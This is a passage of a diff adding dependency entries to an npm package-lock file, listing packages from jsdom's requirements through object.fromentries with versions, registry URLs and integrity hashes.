+      "integrity": "sha512-u9Smc2G1USStM+s/x1ru5Sxrl6mPYCbByG1U/hUmqaVsm4tbNyS7CicOSRyuGQYZhTu0h84qkZZQ/I+dzizSVw==",
+      "requires": {
+        "abab": "^2.0.5",
+        "acorn": "^8.2.4",
+        "acorn-globals": "^6.0.0",
+        "cssom": "^0.4.4",
+        "cssstyle": "^2.3.0",
+        "data-urls": "^2.0.0",
+        "decimal.js": "^10.2.1",
+        "domexception": "^2.0.1",
+        "escodegen": "^2.0.0",
+        "form-data": "^3.0.0",
+        "html-encoding-sniffer": "^2.0.1",
+        "http-proxy-agent": "^4.0.1",
+        "https-proxy-agent": "^5.0.0",
+        "is-potential-custom-element-name": "^1.0.1",
+        "nwsapi": "^2.2.0",
+        "parse5": "6.0.1",
+        "saxes": "^5.0.1",
+        "symbol-tree": "^3.2.4",
+        "tough-cookie": "^4.0.0",
+        "w3c-hr-time": "^1.0.2",
+        "w3c-xmlserializer": "^2.0.0",
+        "webidl-conversions": "^6.1.0",
+        "whatwg-encoding": "^1.0.5",
+        "whatwg-mimetype": "^2.3.0",
+        "whatwg-url": "^8.5.0",
+        "ws": "^7.4.6",
+        "xml-name-validator": "^3.0.0"
+      }
+    },
+    "jsesc": {
+      "version": "2.5.2",
+      "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz",
+      "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA=="
+    },
+    "json-parse-even-better-errors": {
+      "version": "2.3.1",
+      "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz",
+      "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w=="
+    },
+    "json-schema": {
+      "version": "0.4.0",
+      "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.4.0.tgz",
+      "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA=="
+    },
+    "json-schema-traverse": {
+      "version": "0.4.1",
+      "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
+      "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="
+    },
+    "json-stable-stringify-without-jsonify": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz",
+      "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw=="
+    },
+    "json5": {
+      "version": "2.2.3",
+      "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz",
+      "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg=="
+    },
+    "jsonfile": {
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz",
+      "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==",
+      "requires": {
+        "graceful-fs": "^4.1.6",
+        "universalify": "^2.0.0"
+      }
+    },
+    "jsonpointer": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/jsonpointer/-/jsonpointer-5.0.1.tgz",
+      "integrity": "sha512-p/nXbhSEcu3pZRdkW1OfJhpsVtW1gd4Wa1fnQc9YLiTfAjn0312eMKimbdIQzuZl9aa9xUGaRlP9T/CJE/ditQ=="
+    },
+    "jsx-ast-utils": {
+      "version": "3.3.3",
+      "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.3.3.tgz",
+      "integrity": "sha512-fYQHZTZ8jSfmWZ0iyzfwiU4WDX4HpHbMCZ3gPlWYiCl3BoeOTsqKBqnTVfH2rYT7eP5c3sVbeSPHnnJOaTrWiw==",
+      "requires": {
+        "array-includes": "^3.1.5",
+        "object.assign": "^4.1.3"
+      }
+    },
+    "kind-of": {
+      "version": "6.0.3",
+      "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
+      "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="
+    },
+    "kleur": {
+      "version": "3.0.3",
+      "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz",
+      "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w=="
+    },
+    "klona": {
+      "version": "2.0.5",
+      "resolved": "https://registry.npmjs.org/klona/-/klona-2.0.5.tgz",
+      "integrity": "sha512-pJiBpiXMbt7dkzXe8Ghj/u4FfXOOa98fPW+bihOJ4SjnoijweJrNThJfd3ifXpXhREjpoF2mZVH1GfS9LV3kHQ=="
+    },
+    "language-subtag-registry": {
+      "version": "0.3.22",
+      "resolved": "https://registry.npmjs.org/language-subtag-registry/-/language-subtag-registry-0.3.22.tgz",
+      "integrity": "sha512-tN0MCzyWnoz/4nHS6uxdlFWoUZT7ABptwKPQ52Ea7URk6vll88bWBVhodtnlfEuCcKWNGoc+uGbw1cwa9IKh/w=="
+    },
+    "language-tags": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/language-tags/-/language-tags-1.0.5.tgz",
+      "integrity": "sha512-qJhlO9cGXi6hBGKoxEG/sKZDAHD5Hnu9Hs4WbOY3pCWXDhw0N8x1NenNzm2EnNLkLkk7J2SdxAkDSbb6ftT+UQ==",
+      "requires": {
+        "language-subtag-registry": "~0.3.2"
+      }
+    },
+    "leven": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz",
+      "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A=="
+    },
+    "levn": {
+      "version": "0.4.1",
+      "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz",
+      "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==",
+      "requires": {
+        "prelude-ls": "^1.2.1",
+        "type-check": "~0.4.0"
+      }
+    },
+    "lilconfig": {
+      "version": "2.0.6",
+      "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.0.6.tgz",
+      "integrity": "sha512-9JROoBW7pobfsx+Sq2JsASvCo6Pfo6WWoUW79HuB1BCoBXD4PLWJPqDF6fNj67pqBYTbAHkE57M1kS/+L1neOg=="
+    },
+    "lines-and-columns": {
+      "version": "1.2.4",
+      "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz",
+      "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg=="
+    },
+    "loader-runner": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.3.0.tgz",
+      "integrity": "sha512-3R/1M+yS3j5ou80Me59j7F9IMs4PXs3VqRrm0TU3AbKPxlmpoY1TNscJV/oGJXo8qCatFGTfDbY6W6ipGOYXfg=="
+    },
+    "loader-utils": {
+      "version": "2.0.4",
+      "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.4.tgz",
+      "integrity": "sha512-xXqpXoINfFhgua9xiqD8fPFHgkoq1mmmpE92WlDbm9rNRd/EbRb+Gqf908T2DMfuHjjJlksiK2RbHVOdD/MqSw==",
+      "requires": {
+        "big.js": "^5.2.2",
+        "emojis-list": "^3.0.0",
+        "json5": "^2.1.2"
+      }
+    },
+    "locate-path": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz",
+      "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==",
+      "requires": {
+        "p-locate": "^5.0.0"
+      }
+    },
+    "lodash": {
+      "version": "4.17.21",
+      "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
+      "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="
+    },
+    "lodash.debounce": {
+      "version": "4.0.8",
+      "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz",
+      "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow=="
+    },
+    "lodash.memoize": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz",
+      "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag=="
+    },
+    "lodash.merge": {
+      "version": "4.6.2",
+      "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz",
+      "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ=="
+    },
+    "lodash.sortby": {
+      "version": "4.7.0",
+      "resolved": "https://registry.npmjs.org/lodash.sortby/-/lodash.sortby-4.7.0.tgz",
+      "integrity": "sha512-HDWXG8isMntAyRF5vZ7xKuEvOhT4AhlRt/3czTSjvGUxjYCBVRQY48ViDHyfYz9VIoBkW4TMGQNapx+l3RUwdA=="
+    },
+    "lodash.uniq": {
+      "version": "4.5.0",
+      "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz",
+      "integrity": "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ=="
+    },
+    "loose-envify": {
+      "version": "1.4.0",
+      "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz",
+      "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==",
+      "requires": {
+        "js-tokens": "^3.0.0 || ^4.0.0"
+      }
+    },
+    "lower-case": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz",
+      "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==",
+      "requires": {
+        "tslib": "^2.0.3"
+      }
+    },
+    "lru-cache": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
+      "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
+      "requires": {
+        "yallist": "^4.0.0"
+      }
+    },
+    "magic-string": {
+      "version": "0.25.9",
+      "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.25.9.tgz",
+      "integrity": "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==",
+      "requires": {
+        "sourcemap-codec": "^1.4.8"
+      }
+    },
+    "make-dir": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
+      "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
+      "requires": {
+        "semver": "^6.0.0"
+      },
+      "dependencies": {
+        "semver": {
+          "version": "6.3.1",
+          "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+          "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="
+        }
+      }
+    },
+    "makeerror": {
+      "version": "1.0.12",
+      "resolved": "https://registry.npmjs.org/makeerror/-/makeerror-1.0.12.tgz",
+      "integrity": "sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg==",
+      "requires": {
+        "tmpl": "1.0.5"
+      }
+    },
+    "mdn-data": {
+      "version": "2.0.4",
+      "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.4.tgz",
+      "integrity": "sha512-iV3XNKw06j5Q7mi6h+9vbx23Tv7JkjEVgKHW4pimwyDGWm0OIQntJJ+u1C6mg6mK1EaTv42XQ7w76yuzH7M2cA=="
+    },
+    "media-typer": {
+      "version": "0.3.0",
+      "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz",
+      "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ=="
+    },
+    "memfs": {
+      "version": "3.4.7",
+      "resolved": "https://registry.npmjs.org/memfs/-/memfs-3.4.7.tgz",
+      "integrity": "sha512-ygaiUSNalBX85388uskeCyhSAoOSgzBbtVCr9jA2RROssFL9Q19/ZXFqS+2Th2sr1ewNIWgFdLzLC3Yl1Zv+lw==",
+      "requires": {
+        "fs-monkey": "^1.0.3"
+      }
+    },
+    "merge-descriptors": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.3.tgz",
+      "integrity": "sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ=="
+    },
+    "merge-stream": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz",
+      "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w=="
+    },
+    "merge2": {
+      "version": "1.4.1",
+      "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz",
+      "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg=="
+    },
+    "methods": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz",
+      "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w=="
+    },
+    "micromatch": {
+      "version": "4.0.8",
+      "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz",
+      "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==",
+      "requires": {
+        "braces": "^3.0.3",
+        "picomatch": "^2.3.1"
+      }
+    },
+    "mime": {
+      "version": "1.6.0",
+      "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
+      "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg=="
+    },
+    "mime-db": {
+      "version": "1.52.0",
+      "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
+      "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="
+    },
+    "mime-types": {
+      "version": "2.1.35",
+      "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
+      "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
+      "requires": {
+        "mime-db": "1.52.0"
+      }
+    },
+    "mimic-fn": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz",
+      "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg=="
+    },
+    "min-indent": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.0.tgz",
+      "integrity": "sha1-z8RcN+nsDY8KDsPdTvf3w6vjklY="
+    },
+    "mini-css-extract-plugin": {
+      "version": "2.6.1",
+      "resolved": "https://registry.npmjs.org/mini-css-extract-plugin/-/mini-css-extract-plugin-2.6.1.tgz",
+      "integrity": "sha512-wd+SD57/K6DiV7jIR34P+s3uckTRuQvx0tKPcvjFlrEylk6P4mQ2KSWk1hblj1Kxaqok7LogKOieygXqBczNlg==",
+      "requires": {
+        "schema-utils": "^4.0.0"
+      },
+      "dependencies": {
+        "ajv": {
+          "version": "8.11.0",
+          "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz",
+          "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==",
+          "requires": {
+            "fast-deep-equal": "^3.1.1",
+            "json-schema-traverse": "^1.0.0",
+            "require-from-string": "^2.0.2",
+            "uri-js": "^4.2.2"
+          }
+        },
+        "ajv-keywords": {
+          "version": "5.1.0",
+          "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz",
+          "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==",
+          "requires": {
+            "fast-deep-equal": "^3.1.3"
+          }
+        },
+        "json-schema-traverse": {
+          "version": "1.0.0",
+          "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
+          "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="
+        },
+        "schema-utils": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz",
+          "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==",
+          "requires": {
+            "@types/json-schema": "^7.0.9",
+            "ajv": "^8.8.0",
+            "ajv-formats": "^2.1.1",
+            "ajv-keywords": "^5.0.0"
+          }
+        }
+      }
+    },
+    "minimalistic-assert": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz",
+      "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A=="
+    },
+    "minimatch": {
+      "version": "3.1.2",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
+      "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==",
+      "requires": {
+        "brace-expansion": "^1.1.7"
+      }
+    },
+    "minimist": {
+      "version": "1.2.6",
+      "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.6.tgz",
+      "integrity": "sha512-Jsjnk4bw3YJqYzbdyBiNsPWHPfO++UGG749Cxs6peCu5Xg4nrena6OVxOYxrQTqww0Jmwt+Ref8rggumkTLz9Q=="
+    },
+    "mkdirp": {
+      "version": "0.5.6",
+      "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz",
+      "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==",
+      "requires": {
+        "minimist": "^1.2.6"
+      }
+    },
+    "ms": {
+      "version": "2.1.2",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+      "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+    },
+    "multicast-dns": {
+      "version": "7.2.5",
+      "resolved": "https://registry.npmjs.org/multicast-dns/-/multicast-dns-7.2.5.tgz",
+      "integrity": "sha512-2eznPJP8z2BFLX50tf0LuODrpINqP1RVIm/CObbTcBRITQgmC/TjcREF1NeTBzIcR5XO/ukWo+YHOjBbFwIupg==",
+      "requires": {
+        "dns-packet": "^5.2.2",
+        "thunky": "^1.0.2"
+      }
+    },
+    "nanoid": {
+      "version": "3.3.8",
+      "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.8.tgz",
+      "integrity": "sha512-WNLf5Sd8oZxOm+TzppcYk8gVOgP+l58xNy58D0nbUnOxOWRWvlcCV4kUF7ltmI6PsrLl/BgKEyS4mqsGChFN0w=="
+    },
+    "natural-compare": {
+      "version": "1.4.0",
+      "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz",
+      "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw=="
+    },
+    "negotiator": {
+      "version": "0.6.3",
+      "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz",
+      "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg=="
+    },
+    "neo-async": {
+      "version": "2.6.2",
+      "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz",
+      "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw=="
+    },
+    "no-case": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz",
+      "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==",
+      "requires": {
+        "lower-case": "^2.0.2",
+        "tslib": "^2.0.3"
+      }
+    },
+    "node-forge": {
+      "version": "1.3.1",
+      "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-1.3.1.tgz",
+      "integrity": "sha512-dPEtOeMvF9VMcYV/1Wb8CPoVAXtp6MKMlcbAt4ddqmGqUJ6fQZFXkNZNkNlfevtNkGtaSoXf/vNNNSvgrdXwtA=="
+    },
+    "node-int64": {
+      "version": "0.4.0",
+      "resolved": "https://registry.npmjs.org/node-int64/-/node-int64-0.4.0.tgz",
+      "integrity": "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw=="
+    },
+    "node-releases": {
+      "version": "2.0.18",
+      "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.18.tgz",
+      "integrity": "sha512-d9VeXT4SJ7ZeOqGX6R5EM022wpL+eWPooLI+5UpWn2jCT1aosUQEhQP214x33Wkwx3JQMvIm+tIoVOdodFS40g=="
+    },
+    "normalize-path": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
+      "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA=="
+    },
+    "normalize-range": {
+      "version": "0.1.2",
+      "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz",
+      "integrity": "sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA=="
+    },
+    "normalize-url": {
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz",
+      "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A=="
+    },
+    "npm-run-path": {
+      "version": "4.0.1",
+      "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz",
+      "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==",
+      "requires": {
+        "path-key": "^3.0.0"
+      }
+    },
+    "nth-check": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz",
+      "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==",
+      "requires": {
+        "boolbase": "^1.0.0"
+      }
+    },
+    "nwsapi": {
+      "version": "2.2.2",
+      "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.2.tgz",
+      "integrity": "sha512-90yv+6538zuvUMnN+zCr8LuV6bPFdq50304114vJYJ8RDyK8D5O9Phpbd6SZWgI7PwzmmfN1upeOJlvybDSgCw=="
+    },
+    "object-assign": {
+      "version": "4.1.1",
+      "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
+      "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM="
+    },
+    "object-hash": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz",
+      "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw=="
+    },
+    "object-inspect": {
+      "version": "1.13.2",
+      "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.2.tgz",
+      "integrity": "sha512-IRZSRuzJiynemAXPYtPe5BoI/RESNYR7TYm50MC5Mqbd3Jmw5y790sErYw3V6SryFJD64b74qQQs9wn5Bg/k3g=="
+    },
+    "object-keys": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz",
+      "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA=="
+    },
+    "object.assign": {
+      "version": "4.1.4",
+      "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.4.tgz",
+      "integrity": "sha512-1mxKf0e58bvyjSCtKYY4sRe9itRk3PJpquJOjeIkz885CczcI4IvJJDLPS72oowuSh+pBxUFROpX+TU++hxhZQ==",
+      "requires": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.4",
+        "has-symbols": "^1.0.3",
+        "object-keys": "^1.1.1"
+      }
+    },
+    "object.entries": {
+      "version": "1.1.5",
+      "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.5.tgz",
+      "integrity": "sha512-TyxmjUoZggd4OrrU1W66FMDG6CuqJxsFvymeyXI51+vQLN67zYfZseptRge703kKQdo4uccgAKebXFcRCzk4+g==",
+      "requires": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.3",
+        "es-abstract": "^1.19.1"
+      }
+    },
+    "object.fromentries": {
+      "version": "2.0.5",
+      "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.5.tgz",
